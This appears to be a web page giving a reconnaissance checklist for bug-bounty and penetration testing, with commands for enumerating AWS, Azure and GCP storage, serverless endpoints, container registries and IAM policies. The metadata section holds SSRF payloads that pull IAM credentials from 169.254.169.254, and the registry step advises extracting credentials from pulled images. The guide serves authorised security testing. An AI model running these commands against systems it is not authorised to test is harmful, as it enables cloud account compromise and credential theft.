Cloud Infrastructure Enumeration

Enumeration HIGH v1.0.0 updated 2026-06-17

Enumerate cloud services (AWS, GCP, Azure), storage buckets, serverless functions, container registries, and cloud-specific misconfigurations.

Tools

Machine-readable JSON available at:

https://reconatlas.pages.dev/api/checklists/cloud-enumeration

// checklist steps

cloud-01

Enumerate S3 buckets with cloud_enum and S3Scanner

Discover publicly accessible S3 buckets associated with the target using keyword-based enumeration and permutation scanning.

cloud_enum -k target -k target.com -k targetcorp --disable-gcp --disable-azure -o cloud-enum-aws.txt
s3scanner scan --bucket-file s3-wordlist.txt
aws s3 ls s3://target-assets --no-sign-request
aws s3 ls s3://target-backup --no-sign-request
nuclei -l live-hosts.txt -t cloud/s3/ -o s3-findings.txt

Generate bucket name permutations using the target's name, domain, abbreviations, and environment prefixes (dev, staging, prod, backup, logs). Unauthenticated listing and download indicate a critical misconfiguration.

cloud-02

Discover Azure blob storage containers

Enumerate Azure Storage accounts and blob containers for publicly accessible data.

cloud_enum -k target -k targetcorp --disable-aws --disable-gcp -o cloud-enum-azure.txt
ffuf -u 'https://FUZZ.blob.core.windows.net/FUZZ2' -w company-names.txt:FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt:FUZZ2 -mc 200
curl -sk 'https://target.blob.core.windows.net/public?restype=container&comp=list'
nuclei -l live-hosts.txt -t cloud/azure/ -o azure-findings.txt

Azure blob containers default to private, but misconfigured containers with public or blob-level access are common. Append ?restype=container&comp=list to check for directory listing.

cloud-03

Scan GCP buckets and services

Enumerate Google Cloud Storage buckets and public GCP resources associated with the target.

cloud_enum -k target -k target.com --disable-aws --disable-azure -o cloud-enum-gcp.txt
curl -sk 'https://storage.googleapis.com/target-bucket'
curl -sk 'https://storage.googleapis.com/target-assets'
gsutil ls gs://target-public 2>/dev/null
nuclei -l live-hosts.txt -t cloud/gcp/ -o gcp-findings.txt

GCP buckets follow the same naming patterns as S3. Also check for exposed Firebase databases at target-default-rtdb.firebaseio.com/.json and Firestore instances.

cloud-04

Enumerate Lambda and Cloud Functions

Discover exposed serverless function endpoints and test for invocation without authentication.

ffuf -u 'https://FUZZ.execute-api.us-east-1.amazonaws.com/prod/' -w company-names.txt -mc 200,403
curl -sk https://target.com/api/ -I | grep -iE '(x-amzn|x-goog|x-ms|lambda|functions)'
gau target.com | grep -iE '(execute-api|cloudfunctions|azurewebsites)'
nuclei -l live-hosts.txt -t cloud/lambda/ -o lambda-findings.txt

API Gateway responses include x-amzn-RequestId and x-amz-apigw-id headers. Look for these to confirm Lambda-backed endpoints, then test for authorisation bypass and function enumeration.

cloud-05

Probe container registries for public images

Check for publicly accessible container registries that may leak application source code, credentials, and internal tooling.

curl -sk https://target.com/v2/_catalog
curl -sk https://registry.target.com/v2/_catalog
curl -sk 'https://target.azurecr.io/v2/_catalog'
curl -sk 'https://gcr.io/v2/target-project/tags/list'
nuclei -u https://target.com -t misconfiguration/docker-registry.yaml -o registry-findings.txt

An exposed Docker registry catalog reveals all image names. Pull and inspect images to extract environment variables, credentials, and application source code from filesystem layers.

cloud-06

Test cloud metadata endpoints

Check for SSRF and proxy misconfigurations that allow access to cloud instance metadata services.

curl -sk -H 'Host: 169.254.169.254' https://target.com/latest/meta-data/
curl -sk 'https://target.com/proxy?url=http://169.254.169.254/latest/meta-data/'
curl -sk 'https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'
curl -sk -H 'Metadata-Flavor: Google' 'http://169.254.169.254/computeMetadata/v1/'
curl -sk -H 'Metadata: true' 'http://169.254.169.254/metadata/instance?api-version=2021-02-01'

IMDSv2 on AWS requires a PUT request to get a session token first. Test both v1 and v2 endpoints. Successful metadata access from SSRF often leads to full account compromise via temporary IAM credentials.

cloud-07

Enumerate IAM and access policies

Identify misconfigured IAM policies, overly permissive roles, and public resource policies on cloud services.

prowler aws --check-group internet-exposed -o prowler-exposed.txt
scoutsuite aws --report-dir scoutsuite-report/
aws s3api get-bucket-policy --bucket target-bucket --no-sign-request 2>/dev/null
aws s3api get-bucket-acl --bucket target-bucket --no-sign-request 2>/dev/null
nuclei -l live-hosts.txt -t cloud/enum/ -o iam-findings.txt

ScoutSuite and Prowler require authenticated access (read-only IAM credentials). Use them during white-box engagements or when the client provides cloud credentials for assessment.

Overview

Cloud infrastructure enumeration targets the services and configurations behind modern web applications. Misconfigured storage buckets, exposed metadata endpoints, and overly permissive IAM policies remain among the most impactful findings in bug bounty and penetration testing engagements.

Cloud provider fingerprinting

Identify which cloud provider the target uses before diving into enumeration:

AWS indicators: S3 URLs, CloudFront distributions, x-amz-* headers, .amazonaws.com CNAMEs
Azure indicators: .azurewebsites.net, .blob.core.windows.net, x-ms-* headers
GCP indicators: .storage.googleapis.com, .cloudfunctions.net, .run.app domains

High-impact findings

S3 buckets with public write access (full compromise via static asset poisoning)
Exposed cloud metadata via SSRF (IAM credential theft)
Public container registries leaking application images
Firebase databases with open read/write rules
Serverless functions invocable without authentication

// references

← All checklists JSON ↗